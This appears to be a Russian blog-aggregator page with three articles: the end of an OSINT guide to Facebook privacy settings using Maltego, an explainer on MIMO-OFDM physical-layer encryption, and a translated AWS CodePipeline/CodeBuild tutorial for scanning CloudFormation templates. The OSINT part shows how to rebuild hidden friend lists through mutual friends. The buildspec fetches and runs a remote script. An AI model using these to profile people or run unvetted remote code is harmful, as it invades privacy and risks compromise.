Всю общедоступную информацию со страницы пользователя мы можем выгрузить на граф Maltego с помощью трансформа из состава пакета Social Links: [Facebook] Get User Details.
Для всех фото, постов и видео в хронике публикаций можно настроить отдельную видимость для всех или только для определенной категории пользователей.



Также можно отдельно настроить видимость списка друзей и подписок. А вот тут у нас есть несколько интересных опций: Настройки Конфиденциальность. Пройдемся по тем, которые могут существенно подпортить нам жизнь при проведении OSINT.



Кто сможет видеть ваши будущие публикации определяет, какое значение будет выставлено по умолчанию для каждого нового поста. Позволяет избежать случайной публикации поста с неверными настройками приватности. По умолчанию выставлено на Доступно всем.

Кто может посмотреть список ваших друзей а вот это уже важная настройка. Как писал Сервантес, а до него Еврипид: Скажи мне, кто твой друг и я скажу кто ты. По умолчанию данная настройка установлена на Доступно всем.

Однако, даже если установлено иное значение, то мы все равно можем кое-что узнать. Как? спросите вы. Ну, тут как обычно замешаны другие люди, точнее люди, которые есть у вас в друзьях, но при этом пренебрегают данной настройкой приватности.

Используя Entitie: Facebook Mutual Friends, мы можем получить список общих друзей между 2-мя аккаунтами. Для получения более полного списка друзей повторяем процедуру с результатами, полученными из первого запроса. Это, конечно, не так хорошо, как было бы с открытым списком, но лучше, чем ничего.



Еще одним интересным для нас разделом настроек является: Настройки Хроника и метки.



Кто может размещать публикации в вашей хронике? тут нам доступно всего 2 варианта Друзья и Только я. На видимость постов не влияет, едем дальше.

Кто может видеть, что публикуют другие в вашей хронике а вот это уже более интересная настройка, так как она напрямую влияет на видимость постов других людей в Вашей хронике. Значение по умолчанию Друзья. Если его сменить на Все, то таким образом посты ваших друзей у вас в хронике, например, поздравления с днем рождения, будут видны третьим лицам, что, как минимум, компрометирует ваш френдлист и дает нам поле для маневра методикой, описанной выше.

Разрешить другим людям делиться вашими публикациями в их историях дает возможность другим людям репостить ваши посты в своих историях.

Опция, кстати, по всей видимости сломана наглухо, потому что во время проверки мною, на момент написания статьи, возможность репоста записи все еще сохранялась даже при выключенной настройке. Возможно, на момент прочтения вами статьи эту опцию, наконец, починили.

Скройте из своей хроники комментарии с определенными словами Позволяет настроить встроенный спам-фильтр под ваш вкус. Можно даже загрузить CSV-файл со всеми неприемлемыми для вас словами. На тест я взял слово коронавирус, потому что заколебал он уже!

Оставляем 2 комментария под постом. Один простой, другой со стоп-словом.



Сам владелец страницы не видит текст комментария 2, однако видит, что комментарий в целом есть.



А вот если мы посмотри от третьего стороннего аккаунта, то мы не увидим комментарий 2 со стоп-словом вовсе.



Как итог, Maltego не может выгружать комментарии, которые попали под спам-фильтр.



Кто может видеть публикации, в которых вы отмечены, в вашей хронике если кто-то отмечает вас на фото, то пост с фото автоматически появляется в вашей хронике. Данный параметр позволяет контролировать, кто будет видеть данные посты по умолчанию (это Друзья друзей). Для поиска подобных постов в открытом доступе используется Transform: [Facebook] Posts Tagged.

Кто может видеть публикации, в которых вы отмечены значение по умолчанию Друзья. Дает возможность видеть вашим друзьям посты, на которых вас отметили, даже если изначально они не входят в аудиторию, которая может просматривать данный пост. Эта настройка не влияет на видимость постов.

Проверять метки, которые люди добавляют в ваши публикации, перед их размещением на Facebook интересная настройка почему-то по умолчанию установлена как Выключено. Это значит, что другие пользователи могут отмечать на ваших фото других людей без подтверждения с вашей стороны. Однако это касается только друзей. Сторонние аккаунты все же будут ждать одобрения с вашей стороны при установке метки.

Выводы




Несмотря на то, что Facebook имеет очень много настроек приватности, оказалось, что информация не всегда может быть скрыта на 100%. Большая часть настроек по умолчанию выставлена на Доступно всем, что тоже не повышает вашу безопасность.

Вне зависимости от того, какой соцсетью вы любите пользоваться, уделите время и ознакомьтесь, как работают ее настройки приватности. В современном мире, к сожалению, лучше не оставлять лишнего в публичном доступе.

Каждому есть, что скрывать. И помните: существует информация, которую лично вы не знаете, как использовать, а вот НЕВАЖНОЙ информации не существует, особенно, если дело касается вашей личности.

Кстати, в Телеграм-канале Тома Хантера как раз рассказываем, как даже не соцсети, а вполне сее домашние предметы и технологии могут собирать информацию о вас и пользоваться ею без вашего ведома.

До новых встреч!

Подробнее..

Основные идеи методов шифрования MIMO-OFDM систем на физическом уровне

02.12.2020 18:09:40 | Автор: admin

Я попытался раскрыть тему простым языком. Мне кажется, чтобы понять этот материал особых знаний не требуется, кроме умения читать тексты на русском и небольшого знания математики. Возможно, где-то я упустил важные детали или рассказал слишком очевидные вещи, но это все ради общедоступности. Не судите строго. Удачного чтения.

Почему это так важно?

Кажется очевидным, что пользоваться беспроводной связью значительно удобнее, чем сидеть на проводе (если вы так не считаете, то просто поверьте мне). Следовательно, требуется быстрый и надежный канал беспроводной связи. Вот тут как раз приходит на помощь OFDM сигнал (позже объясню, что это такое), который использует одновременно несколько поднесущих. А теперь мы еще модернизируем нашу схему установив на приемнике и на передатчике не одну антенну, а несколько вот мы и получили MIMO систему.

Шифрование на физическом уровне крайне выгодно, так как оно позволяет нам установить безопасное и надежное соединение без предположений о вычислительной мощности подслушивающих устройств. Такие схемы шифрования используют свойство случайности беспроводного канала, что усиливает безопасность.

Стартуем

А теперь начнем. Для начала расскажу чуть более подробно про OFDM-сигналы и MIMO и massive-MIMO системы, так как в дальнейшем понимание этих деталей не будет лишним.

Что такое MIMO и massive-MIMO и с чем их едят?

MIMO (Multiple Input Multiple Output) это способ кодирования сигнала, при котором и прием и передача сигнала происходят посредством нескольких антенн. Различают и другие системы:

  • SISO - Single Input Single Output

  • SIMO - Single Input Multiple Output

  • MISO - Multiple Input Single Output

  • MIMO - Multiple Input Multiple Output

Очевидно, что SIMO самая странная схема реализации общения, так как в этом случае базовая станция состоит из одной антенны, но зато на приемниках стоят много антенн. Представьте, что сотовый оператор ставит себе одну станцию за 1000 руб, а в каждый смартфон ставят по 5000 руб. Очевидно, что такая схема не прижилась в трех измерениях из-за экономической нецелесообразности. Реализации же других схем активно применяются, а MIMO системы в тот момент, когда вы читаете эту статью, совершенно точно собирают на каком-нибудь заводе в Китае и совершенствуют в какой-нибудь лаборатории.

MIMO использует физическое явление, называемое многолучевым распространением. Его эффект заключается в том, что сигналы поступают на приемное устройство с разными задержками и под разными углами. Это позволяет снизить требования к каналу передачи данных (среде распространения). Например, вы можете поставить у себя дома больше устройств, создающих помехи, и при этом вы не ухудшите качество сигнала. Также MIMO увеличивает радиус действия, улучшает пропускную способность беспроводной сети и скорость передачи данных без увеличения диапазона частот.

Более формально можно описать это добавлением нового ресурса:

  • Время (time diversity) сигнал может передаваться на протяжении фиксированного отрезка времени.

  • Частота (frequency diversity) невозможно использовать частоты, вне выданного вам диапазона.

  • Пространство (spatial diversity) одинаковые сигналы могут быть переданы по разным путям (различными антеннами) и, следовательно, на приемнике возможна более точная оценка сигнала с использованием наиболее правдоподобных копий.

Пусть Y принятый сигнал, H матрица канала, X отправленный сигнал, N шумы в канале(AWGN-аддитивный белый гауссовский шум).Тогда принятый сигнал представим в виде:

Y = HX + N

Один из возможных методов решения минимизация среднеквадратичной ошибки дает аналитическое решение:

X^* =(H^TH-\sigma^2I)^{-1}H^TY

Кстати, на практике иногда не так уж и просто найти обратную матрицу.

Massive-MIMO это схема, при которой количество антенн на базовой станции много больше их числа на мобильной. На базовой станции ставят 128, 256 антенн, а на приемнике 2-3 штуки. MIMO активно применяется в WiFi, LTE. Massive-MIMO будет основой для построения сетей 5G и, судя по темпам развития, и 6G.

Вместе с ростом числа антенн возникают и новые и проблемы. В случае MIMO нужно было антенны на одном устройстве разнести друг от друга, дабы уменьшить корреляцию между соседними элементами, теперь же это требование еще более актуально. Также, при увеличении числа антенн увеличиваются и взаимные помехи (часть из этих проблем может быть решена посредством применения технологии автоматического формирования луча в направлении абонента).

Заправим наше MIMO-system блюдо OFDM модуляцией.

OFDM (orthogonal frequency-division multiplexing мультиплексирование с ортогональным частотным разделением каналов) схема модуляции, в которой предоставленный частотный диапазон разбивается на несколько субканалов, в каждом из которых используется своя поднесущая. При этом исходный плотный поток данных разбивается на несколько разреженных субпотоков и каждый передается независимо на своей частоте.

Из-за особенностей OFDM-модуляции возникают два типа помех: межсимвольные (ISI inter-symbol interference) и межнесущие (ICI inter-carrier interference).

ISI

В результате многолучевого распространения мы можем получить ситуацию, когда задержанная версия первого символа накладывается на второй символ, приводя к искажениям. Для того, чтобы избежать такой проблемы в каждый символ добавляется защитный временной интервал (guard interval).

ICI

Доплеровский сдвиг приводит к тому, что каждая частота сдвигается на некоторое значение, при этом расстояние между поднесущими также меняется. Это вызывает нарушение требования ортогональности точное равенство расстояния между поднесущими обратному периоду символа. Эта проблема решается добавлением циклического префикса(CP insertion) формально это циклическое повторение сигнала, длина которого, как и в случае ISI, рассчитывается из наибольших возможных помех в канале.

Преимущества OFDM:

  • Высокая спектральная эффективность

  • Возможность работы в зашумленных каналах (если одна поднесущая не передает сигнал (помехи в канале в узком диапазоне), то можно переложить эту работу на оставшиеся)

  • Высокая адаптивность (благодаря независимости поднесущих возможно использование различных методов модуляции и их автоматическая перенастройка в зависимости от стабильности канала)

Недостатки OFDM:

  • Схема модуляции чувствительна к эффекту Доплера, из-за чего невозможно использование при быстром передвижении

  • Необходимость точной синхронизации

  • Высокое энергопотребление

Все, теперь переходим к защите информации. Дальше будет чуть сложнее, но не отчаивайтесь.

Три кита защиты информации

Информационная безопасность в классической модели основывается на трех принципах: конфиденциальность, целостность и доступность (CIA triangle - Confidentiality, Integrity, Availability). Рассмотрим каждый из них.

Конфиденциальность.

Этот принцип является гарантией того, что неавторизованные пользователи не получат доступ к конфиденциальной информации. Предоставление данных третьим лицам должно быть ограничено, распространение данных возможно только среди пользователей, имеющих право на доступ к информации. В настоящее время предлагается несколько способов по улучшению этого уровня безопасности:

  • Разделение пользователей и данных по категориям в соответствии с потенциальными угрозами при потере информации.

  • Двухфакторная аутентификация для получения доступа к конфиденциальным данных наиболее популярная практика. Также применяются другие методы, например, проверка биометрии.

  • Предупреждение пользователей о методах злоумышленников (например, социальная инженерия), ограничение подозрительных контактов, обучение информационной гигиене.

Целостность.

Этот принцип гарантирует тот факт, что данные не были изменены во время передачи. На этом этапе возможны: применение разрешения на доступ к конфиденциальной информации, ведение системы контроля версий, использования контрольным сумм для обнаружения изменений, не вызванных вмешательством человека.

Доступность.

Этот принцип лежит в основе надежного и непрерывного доступа правильных лиц к конфиденциальной информации. Для обеспечения необходимого уровня защиты на данном уровне система должна быть избыточна и отказоустойчива, должна быть приспособлена к действиям в сложных условиях, в том числе при отказах целых блоков систем. Необходимо проведение стресс тестов на предмет возможности работы в условиях DOS (Denial of Service) или DDOS (Distributed Denial of Service) атак. Принцип доступности нередко называют основным в модели информационной безопасности.

Как вы могли заметить, обеспечение высокой степени защиты конфиденциальной информации требует использования криптографических (или некриптографических) методов. Некоторые криптографические алгоритмы используют функции раунда по несколько раз для обеспечения необходимых свойств случайности шифротекста. Рассматриваемые далее методы шифрования на физическом уровне позволяют сократить максимальное число раундов посредством использования свойств случайности и изменчивости канала передачи данных в MIMO-OFDM системах.

В дальнейшем я предлагаю рассмотреть методы шифрования, касающиеся принципов конфиденциальности и целостности. Доступность в данной статье мы не будем рассматривать.

Аутентификация пользователя

На данном уровне существуют два типа атак: Fake client attack (FCA) и Fake access point (AP) attack.

Fake client attack. После получения пробного кадра третье лицо отправляет на сервер поддельную информацию о канале (CSI Channel State Information). Ниже представлено решение проблемы.

Fake access point attack. В этом случае злоумышленник предоставляет клиенту поддельный пробный кадр, из-за которого тот отправляет на сервер неверный ответ. Решение опять же ниже.

Существуют и другие схемы шифрования на физическом уровне. Грубо я выделю следующую классификацию всех существующих алгоритмов.

Симметричное и ассиметричное шифрования используют канал передачи данных для генерации симметричного ключа в первом случае и пары открытый и закрытый ключ во втором случае в предположении о том, что канал является надежным генератором случайных чисел. Недостатком этих двух схем является теоретическая доступность канала связи для злоумышленника, но зато если удалось скрыть канал обмена данными, то данные схемы обеспечивают одновременно и конфиденциальность, и аутентификацию.

Для двух следующих алгоритмов выдвину предположения:

  • Алиса общается с Бобом и проверяет гипотезу H0 = "сообщение пришло от Боба" против H1 = "сообщение пришло не от Боба"

  • Канал меняется во времени, матрица канала меняется непрерывно

  • Матрицу канала можно разбить на вектора, из которых можно составить авторегрессионную схему.

Алгоритм AKBA(asymmetric-key based authentication):

  • На первом шаге Алиса передает пилоты,а Боб оценивает канал.

h_n(t) = h_n(t1) + \sqrt{1-^2}z_n(t)

- коэффициент корреляции, z(t) - независимые одинаково распределённые c.в. из комплексного нормального распределения.

  • Боб квантует мнимую и действительную части оценки канала при помощи определенного квантователя и уровня квантования, извлекает из них битовую последовательность b.

  • Боб применяет известную всем пользователям функцию хэширования и сжатия для получения более короткого ключа из битовой последовательности b, создает пару открытый-закрытый ключ (K1, K2)

  • На втором шаге Боб передает всем пользователям открытый ключ K1, и кодирует данные при помощи созданного закрытого ключа K2, благодаря чему Алиса может его идентифицировать.

Алгоритм SKBA(symmetric-key based authentication):

  • На первом шаге Алиса передает список пилотных символов Бобу, Боб оценивает канал.

h_n(t) = h_n(t1) + \sqrt{1-^2}z_n(t)
  • На втором шаге происходит обратное общение. Боб передает Алисе список пилотных символов, а Алиса оценивает канал.

  • В словаре кодовых слов Алиса находит ближайшее к каждой из 2N оценок канала

c^* = argmin_{cC}||h_A(2) - c||^2
  • и отправляет Бобу вектор ошибок.

e = h_A(2) - c^*
  • Боб вычисляет ошибку между принятым вектором и своей оценкой канала

h_B = h_B(1) - e
  • и находит ближайшее кодовое слово из словаря ко всему вектору.

c^* = argmin_{cC}||h_B c||^2
  • Боб и Алиса применяют хэш-функцию к индексу последовательностей для извлечения битов, которые будут использованы как ключ аутентификации.

Сравнительно с остальными методами наибольшей устойчивостью к взлому обладает шифрование на основе регулярных оценок канала (достаточно сложна, поэтому опустим подробное описание работы). В этом случае в ходе общения каждый раз заново оценивается канал общения (вследствие общения в MIMO-OFDM он изменчив) и на основе этих оценок шифруется сообщение. Постоянная смена ключей надежна, но при этом требует высокой вычислительной мощности передающего устройства.

Схема шифрования на основе сравнения пилотных символов принимает решение о корректности идентификации клиента на основе сходства пилотных символов в различных сообщениях.

Алгоритм PLA(Physical Layer Authentication)

  • На первом шаге Боб передает список пилотных символов Алисе, которая оценивает канал(так же как в прежних схемах).

  • Во всех последующих передачах Алиса сравнивает оценки каналов на шагах t > 1 с первой оценкой, расстояние вычисляется по формуле:

(t) = \frac{1}{N {\gamma_{A}}^2(t)} \sum_{n=1}^{N} {|h_n(t)-^{t-1}h_n(1)|^2}
  • Алиса принимает решение о том является ли Боб на самом деле Бобом на основе сревнения расстояния с пороговой функцией:

(t) < (t)

Данный способ не требователен к вычислительным ресурсам, однако имеет некоторые особенности, связанные с требованием к хранению в памяти предыдущих пилотных символов и необходимостью идентификации Боба во время первой передачи. Также в данной схеме рекомендуется настроить дополнительные системы шифрования, так как сравнение пилотов не гарантирует полной защиты.

Можно видеть, что каждая их схем опирается на свойство случайности канала связи, однако теоретически злоумышленник может оценить ваш канал связи и тогда ваша схема аутентификации не будет работать.

Вывод: данные алгоритмы шифрования являются отличным дополнением к высокоуровневым, они просто реализуемы и вычислительно просты, их можно использовать для повышения уровня защиты.

Конфиденциальность данных

В данном пункте я предлагаю рассмотреть различные схемы шифрования, обеспечивающие некоторый уровень безопасности передаваемых данных. Все схемы я условно разделил на 4 мало связанных между собой класса. По каждому из классов я изложу известные(классические или же самые простые) методы шифрования или общие идеи, которые, однако, не являются универсальными(существуют улучшенные реализации, но их описание потребует больше времени). Итак, поехали.

Скремблер

Ниже приведена классическая схема реализации этого типа шифрования. Этот прием довольно часто применяется в области защиты информации и прежде всего для повышения защищенности от перехватов и вредоносных атак в системах связи, где передача данных происходит по открытым каналам.

Сначала поток данных преобразуется в несколько параллельных потоков. После этого эти потоки поступают на вход скремблера, матрица которого может быть построена различными способами (один из возможных - на основе местоположения мобильной станции). Затем данные передаются через канал посредством нескольких антенн на стороне приемника и на стороне передатчика. Сигнал на приемнике представим в виде:

Y=HSX+N

N - AWGN(аддитивный белый гауссовский шум), H - матрица канала, X - входные данные

Приемное устройство проводит обратные операции:

X^* = S^{-1}H^{-1}Y = X+S^{-1}H^{-1}N

Скремблер является вычислительно простой схемой шифрования. Однако, если проводить перемешивание входных данных только на основе оценки канала, то это схема может быть взломана. Поэтому для большей надежности следует предусмотреть возможность инициализации скремблера при помощи секретного ключа.

Оценка канала

Я предлагаю к рассмотрению схему шифрования, рассчитанную на ограниченное число M одновременных пользователей.

На базовой станции случайным образом генерируются M ортогональных векторов w размерности число антенн на базовой станции. Затем они нормализуются и каждому из M пользователей рассылаются прекодированные известные символы по формуле

x = \sum_{i=1}^{M}{w_ms_i}

Пользователи вычисляют отношение уровня сигнала к уровню шума(SINR - signal-to-interference-plus-noise ratio) по формуле

\gamma_{k,m} = \frac{P|h_kw_m|^2}{\sum_{i=1, i \neq m}^{M}{P|h_kw_i|^2}+\sigma^2}

P - мощность передачи каждого луча

Среди всех лучей каждый из пользователей выбирает луч:

w_{m_k} = arg max_{1mM} {_{k,m}}

и возвращают базовой станции индекс, соответствующий наибольшему SINR и само значение SINR. После получения всех ответов от мобильных станций, базовая станция принимает решение о выборе векторов для каждого пользователя с наибольшим SINR. При необходимости предыдущий шаг повторяется до установления однозначного соответствия.

Одним из основных минусов данного метода является необходимость дополнительного шифрования во избежание синхронизации злоумышленника с реальными пользователями.

Искусственные помехи и затухание

Идея этого типа шифрования проста: базовая станция предполагает существование воображаемых пользователей и создает матрицу прекодирования на основе всех пользователей. Прекодированный сигнал может быть успешно декодирован только при прохождении через канал легитимного пользователя. Обращаю ваше внимание на то, что в этом случае не требуется отправка ответа базовой станции и по сему злоумышленник не сможет восстановить исходный сигнал.

Схема с искусственными помехами(AN - Artificial Noise)

Алиса искажает передаваемые символы посредством добавления искусственных шумов. Шумы генерируются так, чтобы Боб смог их отбросить, а потому они не ухудшают демодулирование сигнала.

Передаваемый символ на l-й поднесущей:

x^l_{AN} = ^l_{ZF}u^l + Z^lv^l^l_{ZF} = (H^l)^{+}

а Z получается из SVD разложения матрицы канала:

H^l = U^l ^l [V^l Z^l ]^H

На законном приемнике имеем:

y^l = H^l x^l + n^l = u^l + H^l n^l

На незаконном приемнике:

y^l_{AN} = G^l x^l_{AN} + n^l = G^l ^l_{ZF}u^l + G^l Z^l v^l + n^l

Схема с затуханием(AFF - Artificial Fast Fading)

Алиса искусственно домножает исходный сигнал на коэффициенты затухания в соответствии с матрицей канала. При прохождении через канал к Бобу сигнал приходит в исходной форме. До злоумышленника сигнал идет по другому каналу, значит искажется при передаче.

Передаваемый символ на l-й поднесущей:

x^l_{AFF} = ^l_{AFF}u^l^l_{AFF} = [^l_{rand} ^l_{cancel}]^T

Как видите, матрица состоит из двух частей: случайной и отменяющей, которая отвечает за удаления эффекта затухания при прохождении через легитимный канал.

^l_{cancel}=({H^l}_{cancel})^{-1}(I {H^l}_{rand}{^l}_{rand})

На законном приемнике имеем:

y^l_{AFF} = H^lx^l_{AFF} + n^l = u^l + n^l

На незаконном приемнике:

y^l_{AFF} = G^l x^l_{AFF} + n^l = G^l ^l_{AFF}u^l + n^l

Общая диаграмма направленности в сочетании с помехами

Рассматривается схема, в которой пользователи объединены между собой в кластеры, которые общаются между собой посредством общего формирования диаграммы направленности и помех. Предполагается, что внутри легальных кластеров нет злоумышленника(сильное требование), он создал отдельный кластер с блэкджеком и ему там не скучно. В каждом из кластеров определяется главное устройство, которое будет управлять передачей данных.

Рассмотрим процесс общения между кластерами. Сначала передающее устройство передает данные пользователям своего кластера, а в принимающем кластере пользователи передают принимающему устройству помехи. Затем передатчик и его соседи передают данные на приемное устройство, а в принимающем кластере соседи принимающего устройства передают те же самые помехи. В итоге, на приемнике имеется и шум, и зашумленный сигнал и остается лишь восстановить исходные данные.

Минусом такой схемы являются требования к синхронизации между большим количеством устройств, а также необходимость проверки легитимности пользователя при его подключении к кластеру.

Выводы

Мы рассмотрели некоторые из методов шифрования на физическом уровне. Снова обращаю ваше внимание на то, что не все из них могут гарантировать безопасную передачу данных. Однако за счет простоты реализации и малой вычислительной сложности могут быть внедрены в современные ЭВМ.

Список литературы:

[] - What is Information Security? The Basics of Information Security

[] - Comparison Between Asymmetric and Symmetric Channel-Based Authentication for MIMO Systems

[] - A Physical Layer Security Scheme Employing Imaginary Receiver for Multiuser MIMO-OFDM Systems

[] - High security orthogonal factorized channel scrambling scheme with location information embedded for MIMO-based VLC system

[] - Mode Selection in MU-MIMO Downlink Networks: A Physical-Layer Security Perspective

[] - Virtual MIMO-based cooperative beamforming and jamming scheme for the clustered wireless sensor network security

[] - Physical Layer Authentication over MIMO Fading Wiretap Channels

[] - Virtual MIMO-based cooperative beamforming and jamming scheme for the clustered wireless sensor network security

Подробнее..

Перевод Построение конвейера IaC на AWS с полностью интегрированной безопасностью

02.12.2020 18:09:40 | Автор: admin

Перевод статьи подготовлен в преддверии старта курса "Infrastructure as a code in Ansible".


Также хотим порекомендовать вам супер-интенсив IaC Ansible за 5 дней которого вы научитесь делать выкатку кода простым и приятным процессом в духе "нажми одну кнопку", делать сетап новой машины полностью автоматизированным,автоматически поддерживать актуальными все проверки и триггеры в мониторинге и узнавать о проблемах еще до того, как они наступили и многое другое.


В моей последней статье (ссылка) мы рассмотрели модель управления инфраструктура как код (IaC), ее важность, причины ее применения многими компаниями, а также возможные способы повышения безопасности конвейера IaC.

Известно, что разработчики облачных систем нередко работают в условиях сильного давления, когда сроки поджимают и выдавать результат нужно быстро. В силу этого зачастую они не уделяют должного внимания написанию кода и конфигурации. А отсутствие надлежащих конфигураций является источником брешей в системе безопасности. Из этого следует, что в ходе всего процесса разработки архитектуры обязательно нужно полагаться на передовые методы проектирования, даже если сроки очень сжатые.

Теперь давайте разберем реальный пример того, как можно автоматически проконтролировать корректность методов разработки в конвейерах IaC для среды AWS посредством сотен проверок на соответствие правиламAWS Well-Architected Framework(безопасность, оптимизация затрат, производительность, высокие стандарты профессиональной деятельности и надежность) и другим стандартам.

Вот общее представление того, над чем мы будем работать:

Исходные требования

Для формирования нужной нам среды вам понадобятся следующие элементы:

Приступим к созданию вашего первого конвейера инфраструктура как код (IaC) с проверкой применения правильных методов разработки!

Этап1. Установка подключаемого модуля безопасности в среду программирования и получение токена API для сканирования шаблонов CloudFormation

После установки среды VSCode IDE не забудьте также установить подключаемый модуль Cloud Conformity Security, как показано здесь:

  • VSCode Marketplace подключаемый модуль Cloud ConformityССЛКА

Расширение для сканирования шаблонов Cloud One Conformity Template ScannerРасширение для сканирования шаблонов Cloud One Conformity Template Scanner

Создайте свою учетную запись в Cloud One Conformity, воспользовавшись приведенной здесь ссылкой (создать учетную запись), войдите в нее и сформируйте токен API.

В среде Cloud Conformity: щелкнитеимя пользователявверху справа и выберите User Settings (Настройки пользователя)API Keys (Ключи API)New API Key (Создать ключ API), чтобы создать ключ API, который будет использоваться в подключаемом модуле VSCode. Обязательно скопируйте ключ и сохраните его в надежном месте. Получить его еще раз невозможно.

Скопируйте ключ API и вернитесь в среду VSCode

1. Щелкните значок расширений (слева) и нажмитеExtension Settings (Настройки расширений) для записи сканера шаблонов Cloud Conformity Template Scanner.

2. В среде Cloud Conformity выберитеEdit in settings.json (Изменить файл settings.json). Перейдите к разделу ApiKey.

3. Введите ключ API, сформированный на предыдущем шаге, и сохраните изменения.

Теперь шаблоны CloudFormation можно сканировать с использованием сотен проверок на соответствие правилам AWS Well-Architected Framework и другим стандартам, гарантируя превосходное качество разрабатываемой облачной инфраструктуры.

Вот пример шаблона CloudFormation, не соответствующего передовым методам разработки, который вы можете протестировать:

Чтобы испытать расширение в работе, откройте указанный выше шаблон CloudFormation с помощью VSCode, после чего откройтепалитру команд, нажав:

  • macOS: + + P

  • Windows/Linux:Ctrl + Shift + P

Найдите элемент Cloud One Conformity: Scan the Current Open Template (Cloud One Conformity: сканировать открытый шаблон) и нажмите <Enter>, после чего автоматически начнется сканирование этого шаблона CloudFormation:

Результат сканирования появится на второй вкладке под названием Scan Result (Результат сканирования), как на приведенном ниже изображении. Также можно воспользоватьсяоблачной базой знаний, которая поможет лучше понять выявленные нарушения рекомендуемых методов, а также узнать способы их устранения в вашем шаблоне CloudFormation или в производственных средах:

Превосходно, первый этап автоматизации безопасности IaC завершен.

Этап2. Создание конвейера CI/CD средствами AWS с последующей интеграцией в него сканера шаблонов Conformity

На первом этапе мы показали, как можно выполнять сканирование перед отправкой новой версии кода в репозиторий. Однако иногда разработчик может забыть сделать это и сохранить шаблон CFT, в котором есть проблемы. Сейчас мы создадим шлюз безопасности, который поможет предотвратить появление новых ресурсов, не соответствующих методам разработки, рекомендуемым вашей компанией.

С помощью такого шлюза можно отслеживать и выполнять аудит всех изменений в реальном времени и только затем производить развертывание в среду AWS.

В этом разделе мы покажем, как использовать сканер шаблонов в конвейере CI/CD сAWS CodeCommit,AWS CodeBuild иAWS CodePipeline. Приступим.

CodeCommit будет использоваться в качестве репозитория для размещения нашего кода. Многие люди и компании со всего мира используют для этого GitHub, GitLab и BitBucket. Чтобы ваша среда VSCode могла перемещать код в CodeCommit, нужно будет кое-что настроить.

Создание репозитория Git в AWS CodeCommit

  • Создайте пользователя IAM с разрешением использовать CodeCommit и доступом только с помощью ключа SSH. (Сведения о разрешении для Git и рекомендации приведены по этойссылкеот AWS.)

Перейдите в раздел Security credentials (Учетные данные безопасности) HTTPS Git credentials for AWS CodeCommit (Учетные данные Git HTTPS для AWS CodeCommit), чтобы сформировать учетные данные.

Загрузите учетные данные и сохраните их в надежное место.

Подробнее об этой процедуре на сайте AWS ССЛКА.

  • Создайте репозиторийAWS CodeCommit.

Можно выполнить команду git clone на своем компьютере и легко перенести на него git config.

git clone https://git-codecommit.us-east-1.amazonaws.com/v1/repos/{ИМЯ ВАШЕГО РЕПОЗИТОРИЯ}

Теперь можете воспользоваться собственным шаблоном CloudFormation или взять плохой шаблон CloudFormation, который я предоставил ранее, для передачи в AWS CodeCommit.

git add .

git commit -m "First Commit"

git push

Итак, первое сохранение в AWS CodeCommit выполнено. Теперь давайте перейдем к AWS CodeBuild и AWS CodePipeline.

Создание CodeBuild для автоматического сканирования шаблонов CloudFormation

Решение AWS CodeBuild очень похоже на GitHub Actions, Azure DevOps и GitLab. Это технология CI/CD, с помощью которой можно создавать новые проекты, автоматизировать процессы и развертывать новые приложения или инфраструктуры.

Мы будем использовать CodeBuild с определенным образом контейнера для запуска сканера шаблонов Conformity с целью выявления возможных проблем перед развертыванием новой IaC в производственной среде.

  • Создание проекта построения в AWS CodeBuild

Я буду использовать стандартный образ от AWS, но вы можете взять другой образ управления или создать собственный для автоматизации подобного типа.

Вот конфигурация для приведенного ниже образа:

Environment image: Managed ImageOperationg System: Amazon Linux 2Runtime: StandardImage: aws/codebuild/amazonlinux2-x8664-standard:3.0Image version: Always use the latestEnvironment type: LinuxService Role: NewRole Name: <NEW ROLE NAME>

Вот конфигурация для приведенного ниже образа:

Environment VariablesCC_API_KEY = <YOUR API KEY FROM CLOUD ONE - CONFORMITY>CC_REGION = <REGION SELECTED TO CREATE YOUR CONFORMITY TENANT>CC_RISK_LEVEL = <RISK LEVEL NOT BE ACCEPT>CFN_TEMPLATE_FILE_LOCATION = <YOUR CLOUDFORMATION TEMPLATE PATH>STACK_NAME = <THE CLOUDFORMATION STACK NAME

Вот конфигурация для приведенного ниже образа:

Build specifications: Insert build commandsBuild Commands:version: 0.2phases:    install:        runtime-versions:            python: 3.7    pre_build:        commands:            - pip3 install awscli --upgrade --user    build:        commands:            - pip3 install -r https://raw.githubusercontent.com/OzNetNerd/Cloud-Conformity-Pipeline-Scanner/master/requirements.txt            - wget https://raw.githubusercontent.com/OzNetNerd/Cloud-Conformity-Pipeline-Scanner/master/src/scanner.py            - CC_API_KEY=`jq -r '.CC_API_KEY' <<< $CC_API_KEY`            - python3 scanner.py                post_build:        commands:            - aws cloudformation deploy --template-file $CFN_TEMPLATE_FILE_LOCATION --stack-name $STACK_NAME --no-fail-on-empty-changese

Ссылка на Buildspec.yml на GitHub https://raw.githubusercontent.com/fernandostc/IaC-Security-Automation/master/buildspec.yml

Примечание. Сканер шаблонов, который я использую в этом примере, был создан Уиллом Робисоном (Will Robison) архитектором решений из компании Trend Micro вот ссылка на этот проект на GitHub:https://github.com/OzNetNerd/Cloud-Conformity-Pipeline-Scanner

Теперь нажмите Create build project (Создать проект построения), чтобы завершить процесс.

Создание секретного ключа в диспетчере секретов для хранения ключа API Cloud One Conformity

Теперь нажмите Store (Сохранить), чтобы завершить процесс.

Важно!Не забудьте создать политику, чтобы назначить своей службе ролей в CodeBuild следующее разрешение, с которым CodeBuild сможет получать значение от SecretManager:

{    "Version": "2012-10-17",    "Statement": [        {            "Sid": "VisualEditor0",            "Effect": "Allow",            "Action": "secretsmanager:GetSecretValue",            "Resource": "arn:aws:secretsmanager:us-east-1:<AWS Account ID>:secret:<Secret Key ARN>"        }    ]}

Создание AWS CodePipeline для автоматизации триггера запуска сканирования шаблонов

AWS CodePipeline поможет автоматизировать процесс запуска сканера шаблонов после каждого обновления кода IaC. В CodePipeline можно создать несколько этапов, однако наш пример простой, для него достаточно одного этапа. Он очень прост для понимания.

Создадим новый конвейер в AWS CodePipeline

Можно задать имя конвейеру и создать новую роль службы, если до этого у вас ни одной роли службы не было.

Теперь нужно задать следующие параметры с учетом созданного ранее CodeCommit:

Source Provider (Поставщик исходного кода): <AWS CodeCommit>Repository Name (Имя репозитория): <CloudOneConformity или заданное вами ранее имя репозитория>Branch Name (Имя ветви): <master>

Теперь нужно задать информацию о процессе построения:

Build provider (Поставщик построения): <AWS CodeBuild>Project Name (Имя проекта): <IaC-Security-Automation или заданное вами ранее имя репозитория>

В данном случае мы не планируем использовать команды развертывания, поскольку развертывание мы выполняем внутри CodeBuild в рамках одного из этапов.Можно нажать Skip the deploy stage (Пропустить этап развертывания).

